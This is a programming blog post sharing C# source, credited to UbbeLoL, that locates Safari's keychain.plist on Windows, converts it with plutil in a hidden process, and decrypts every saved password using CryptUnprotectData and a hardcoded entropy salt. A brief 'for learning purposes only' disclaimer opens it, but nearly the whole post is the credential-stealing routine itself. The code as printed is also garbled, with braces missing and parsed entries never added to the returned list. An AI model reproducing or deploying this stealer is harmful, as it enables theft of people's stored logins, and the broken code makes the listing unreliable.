Thursday, March 21, 2019
Home / Programming / DotNet Framework / Decrypting Safari saved passwords

Decrypting Safari saved passwords

Notice, this is for learning purposes only, this is only to show that saving your passwords within browsers IS NOT safe, as your passwords can be stolen with in seconds. What is this code used for? It’s made to decrypt all encrypted passwords you have saved within the Safari browser.

This was coded by UbbeLoL

Language: C#

 public class SafariDecryptor
#region private APIs & structs
static extern IntPtr LocalFree(IntPtr hMem);
private unsafe struct DATA_BLOB
public int cbData;
public byte* pbData;
private unsafe static extern bool CryptUnprotectData(
String szDataDescr,
DATA_BLOB* pOptionalEntropy,
IntPtr pvReserved,
IntPtr pPromptStruct,
uint dwFlags,
 private static byte[] salt = {
0x1D, 0xAC, 0xA8, 0xF8, 0xD3, 0xB8, 0x48, 0x3E, 0x48, 0x7D, 0x3E, 0x0A, 0x62, 0x07, 0xDD, 0x26,
0xE6, 0x67, 0x81, 0x03, 0xE7, 0xB2, 0x13, 0xA5, 0xB0, 0x79, 0xEE, 0x4F, 0x0F, 0x41, 0x15, 0xED,
0x7B, 0x14, 0x8C, 0xE5, 0x4B, 0x46, 0x0D, 0xC1, 0x8E, 0xFE, 0xD6, 0xE7, 0x27, 0x75, 0x06, 0x8B,
0x49, 0x00, 0xDC, 0x0F, 0x30, 0xA0, 0x9E, 0xFD, 0x09, 0x85, 0xF1, 0xC8, 0xAA, 0x75, 0xC1, 0x08,
0x05, 0x79, 0x01, 0xE2, 0x97, 0xD8, 0xAF, 0x80, 0x38, 0x60, 0x0B, 0x71, 0x0E, 0x68, 0x53, 0x77,
0x2F, 0x0F, 0x61, 0xF6, 0x1D, 0x8E, 0x8F, 0x5C, 0xB2, 0x3D, 0x21, 0x74, 0x40, 0x4B, 0xB5, 0x06,
0x6E, 0xAB, 0x7A, 0xBD, 0x8B, 0xA9, 0x7E, 0x32, 0x8F, 0x6E, 0x06, 0x24, 0xD9, 0x29, 0xA4, 0xA5,
0xBE, 0x26, 0x23, 0xFD, 0xEE, 0xF1, 0x4C, 0x0F, 0x74, 0x5E, 0x58, 0xFB, 0x91, 0x74, 0xEF, 0x91,
0x63, 0x6F, 0x6D, 0x2E, 0x61, 0x70, 0x70, 0x6C, 0x65, 0x2E, 0x53, 0x61, 0x66, 0x61, 0x72, 0x69
 public struct UserEntry
public string Username;
public string encPassword;
public string decPassword;
public string Description;
public string Label;
public string Path;
public string Comment;
public string Server;
public int Protocol;
public int AuthenticationType;
public int Port;
public int UserIndex;
 public static UserEntry[] FetchUserEntries()
string plutilPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\Common Files\\Apple\\Apple Application Support\\plutil.exe";
string rawKeychainPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Apple Computer\\Preferences\\keychain.plist";
string fixedPath = null;
 if (!ConvertKeychain(plutilPath, rawKeychainPath, out fixedPath))
return null;
 return ParseEntries(fixedPath.Remove(fixedPath.Length -2)).ToArray();
 private static List<UserEntry> ParseEntries(string keychain)
string full = File.ReadAllText(keychain);
List<UserEntry> outEntries = new List<UserEntry>();
string[] blocks;
 for(int i = 1; i < (blocks = Regex.Split(Regex.Split(full, "<array>")[1], "<dict>")).Length; i++)
UserEntry tmpEntry = new UserEntry();
 tmpEntry.Username = GetBetween(blocks[i], "<string>", "</string>", 0);
tmpEntry.AuthenticationType = Int32.Parse(GetBetween(blocks[i], "<integer>", "</integer>", 0));
tmpEntry.Comment = GetBetween(blocks[i], "<string>", "</string>", 1);
tmpEntry.encPassword = GetBetween(blocks[i], "<data>", "</data>", 0);
tmpEntry.Description = GetBetween(blocks[i], "<string>", "</string>", 2);
tmpEntry.Label = GetBetween(blocks[i], "<string>", "</string>", 3);
tmpEntry.Path = GetBetween(blocks[i], "<string>", "</string>", 4);
tmpEntry.Port = Int32.Parse(GetBetween(blocks[i], "<integer>", "</integer>", 1));
tmpEntry.Protocol = Int32.Parse(GetBetween(blocks[i], "<integer>", "</integer>", 2));
tmpEntry.Server = GetBetween(blocks[i], "<string>", "</string>", 5);
tmpEntry.UserIndex = i - 1;
 tmpEntry.decPassword = DecryptPassword(Convert.FromBase64String(tmpEntry.encPassword));
 return outEntries;
 private unsafe static string DecryptPassword(byte[] pwBuffer)
DATA_BLOB dIn, dOut, optEntropy;
int pwLen = 0;
char[] outStr;
 dIn.cbData = pwBuffer.Length;
fixed (byte* p_pwBuffer = pwBuffer)
dIn.pbData = p_pwBuffer;
 optEntropy.cbData = salt.Length;
fixed (byte* p_salt = salt)
optEntropy.pbData = p_salt;
 if (!CryptUnprotectData(&dIn, null, &optEntropy, IntPtr.Zero, IntPtr.Zero, 0, &dOut))
return null;
 byte* p_bData = (byte*)dOut.pbData;
pwLen = *(int*)p_bData;
 outStr = new char[pwLen];
 for (int i = 4; i < pwLen+4; i++)
outStr[i-4] = (char)p_bData[i];
 LocalFree(new IntPtr(dOut.pbData));
 return new string(outStr);
 private static bool ConvertKeychain(string plutil, string keychain, out string fixedPath)
fixedPath = null;
 if (!File.Exists(plutil))
return false;
 Process p = new Process();
p.StartInfo.FileName = plutil;
p.StartInfo.Arguments = @" -convert xml1 -s -o """ + (fixedPath = Application.StartupPath + @"\fixed_keychain.xml"" ") + @"""" + keychain + @"""";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.UseShellExecute = false;
 return p.StandardOutput.ReadToEnd().Length == 0;
 private static string GetBetween(string input, string str1, string str2, int index)
string temp = Regex.Split(input, str1)[index + 1];
return Regex.Split(temp, str2)[0];